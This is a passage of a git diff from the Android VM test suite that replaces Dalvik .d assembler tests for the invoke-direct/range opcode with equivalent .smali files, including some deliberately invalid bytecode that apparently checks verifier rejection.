+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_10.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       const v0, 1222
+       invoke-direct/range {v0}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_10;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11.d
deleted file mode 100644
index 772fc10..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11.d
+++ /dev/null
@@ -1,40 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_11.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_11
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct/range {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct/range {v2}, dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_11/toInt()I
-       move-result v0
-       return v0
-.end method
-
-
-.method private static toInt()I
-.limit regs 1
-    const v0, 0
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11.smali
new file mode 100644
index 0000000..42ae992
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_11.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_11;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+
+.method private static toInt()I
+.registers 1
+    const v0, 0
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_12.d
deleted file mode 100644
index 7dd13f0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_12.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_12.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_12
-.super dot/junit/opcodes/invoke_direct_range/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct/range {v1}, dot/junit/opcodes/invoke_direct_range/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct/range {v2}, dot/junit/opcodes/invoke_direct_range/TSuper/toIntPvt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_12.smali
new file mode 100644
index 0000000..9ad0896
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_12.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_12.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_12;
+.super  Ldot/junit/opcodes/invoke_direct_range/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ldot/junit/opcodes/invoke_direct_range/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/TSuper;->toIntPvt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_13.d
deleted file mode 100644
index 830c367..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_13.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_13.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_13
-.super dot/junit/opcodes/invoke_direct_range/TAbstract
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct/range {v1}, dot/junit/opcodes/invoke_direct_range/TAbstract/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-       invoke-direct/range {v2}, dot/junit/opcodes/invoke_direct_range/TAbstract/toInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_13.smali
new file mode 100644
index 0000000..2307936
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_13.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_13.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_13;
+.super  Ldot/junit/opcodes/invoke_direct_range/TAbstract;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ldot/junit/opcodes/invoke_direct_range/TAbstract;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/TAbstract;->toInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14.d
deleted file mode 100644
index a59d5ad..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14.d
+++ /dev/null
@@ -1,70 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_14.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_14
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct/range {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private test(II)I
-.limit regs 7
-       const v0, 999
-       const v1, 888
-       const v2, 777
-       
-       div-int v4, v5, v6
-       
-       return v4
-.end method
-
-.method public run()I
-.limit regs 7
-       const v0, 111
-       const v1, 222
-       const v2, 333
-       
-       const v4, 50
-       const v5, 25
-       move-object v3, v6
-       invoke-direct/range {v3..v4}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14/test(II)I
-       move-result v3
-       
-       const v4, 2
-       if-ne v3, v4, Label30
-       
-       const v4, 111
-       if-ne v0, v4, Label30
-       
-       const v4, 222
-       if-ne v1, v4, Label30
-       
-       const v4, 333
-       if-ne v2, v4, Label30
-
-       const v0, 1       
-       return v0
-Label30:
-        const v0, 0
-        return v0
-        
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14.smali
new file mode 100644
index 0000000..71865bf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14.smali
@@ -0,0 +1,70 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_14.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private test(II)I
+.registers 7
+       const v0, 999
+       const v1, 888
+       const v2, 777
+       
+       div-int v4, v5, v6
+       
+       return v4
+.end method
+
+.method public run()I
+.registers 7
+       const v0, 111
+       const v1, 222
+       const v2, 333
+       
+       const v4, 50
+       const v5, 25
+       move-object v3, v6
+       invoke-direct/range {v3..v4}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_14;->test(II)I
+       move-result v3
+       
+       const v4, 2
+       if-ne v3, v4, :Label30
+       
+       const v4, 111
+       if-ne v0, v4, :Label30
+       
+       const v4, 222
+       if-ne v1, v4, :Label30
+       
+       const v4, 333
+       if-ne v2, v4, :Label30
+
+       const v0, 1       
+       return v0
+:Label30
+        const v0, 0
+        return v0
+        
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15.d
deleted file mode 100644
index 343eafd..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_15.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_15
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct/range {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct/range {v3}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15.smali
new file mode 100644
index 0000000..6362b21
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_15.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v3}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_15;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16.d
deleted file mode 100644
index 82b85d8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16.d
+++ /dev/null
@@ -1,40 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_16.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_16
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct/range {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct/range {v2}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16/toInt()F
-       
-       const/4 v1, 0
-       return v1
-.end method
-
-
-.method private toInt()I
-.limit regs 1
-    const v0, 0
-    return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16.smali
new file mode 100644
index 0000000..0c0ff0b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_16.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_16;->toInt()F
+       
+       const/4 v1, 0
+       return v1
+.end method
+
+
+.method private toInt()I
+.registers 1
+    const v0, 0
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_17.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_17.d
deleted file mode 100644
index add1dc9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_17.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_17.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_17
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-
-       new-instance v0, java/lang/String
-       invoke-direct/range {v0} java/lang/String/<init>()V
-         invoke-direct/range {v0} java/lang/String/<init>()V
-       return-void       
-.end method
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_17.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_17.smali
new file mode 100644
index 0000000..266cece
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_17.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_17.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_17;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+
+       new-instance v0, Ljava/lang/String;
+       invoke-direct/range {v0} , Ljava/lang/String;-><init>()V
+         invoke-direct/range {v0} , Ljava/lang/String;-><init>()V
+       return-void       
+.end method
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18.d
deleted file mode 100644
index 3922d1b..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_18.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_18
-.super dot/junit/opcodes/invoke_direct_range/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       const v0, 0
-       iput v0, v1, dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_18.val I
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_direct_range/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 3
-       const v1, 0
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18.smali
new file mode 100644
index 0000000..48fc003
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_18.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18;
+.super  Ldot/junit/opcodes/invoke_direct_range/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       const v0, 0
+       iput v0, v1, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_18;->val:I
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_direct_range/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 3
+       const v1, 0
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2.d
deleted file mode 100644
index 3d4e23c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_2.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct/range {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private getInt()I
-.limit regs 3
-
-       const/16 v1, 345
-       return v1
-.end method
-
-.method public run()I
-.limit regs 3
-
-       invoke-direct/range {v2}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2/getInt()I
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2.smali
new file mode 100644
index 0000000..a735e32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_direct_range_2.java"
+.class  public Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct/range {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method private getInt()I
+.registers 3
+
+       const/16 v1, 345
+       return v1
+.end method
+
+.method public run()I
+.registers 3
+
+       invoke-direct/range {v2}, Ldot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_2;->getInt()I
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21.d
deleted file mode 100644
index 234de66..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21.d
+++ /dev/null
@@ -1,70 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_direct_range_21.java
-.class public dot.junit.opcodes.invoke_direct_range.d.T_invoke_direct_range_21
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct/range {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method private test(II)I
-.limit regs 7
-       const v0, 999
-       const v1, 888
-       const v2, 777
-       
-       div-int v4, v5, v6
-       
-       return v4
-.end method
-
-.method public run()I
-.limit regs 7
-       const v0, 111
-       const v1, 222
-       const v2, 333
-       
-       const v4, 50
-       const v5, 25
-         move-object v3, v6
-       invoke-direct/range {v3..v5}, dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21/test(II)I
-       move-result v3
-       
-       const v4, 2
-       if-ne v3, v4, Label30
-       
-       const v4, 111
-       if-ne v0, v4, Label30
-       
-       const v4, 222
-       if-ne v1, v4, Label30
-       
-       const v4, 333
-       if-ne v2, v4, Label30
-
-       const v0, 1       
-       return v0
-Label30:
-        const v0, 0
-        return v0
-        
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21.smali
new file mode 100644
index 0000000..c105b71
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_direct_range/d/T_invoke_direct_range_21.smali
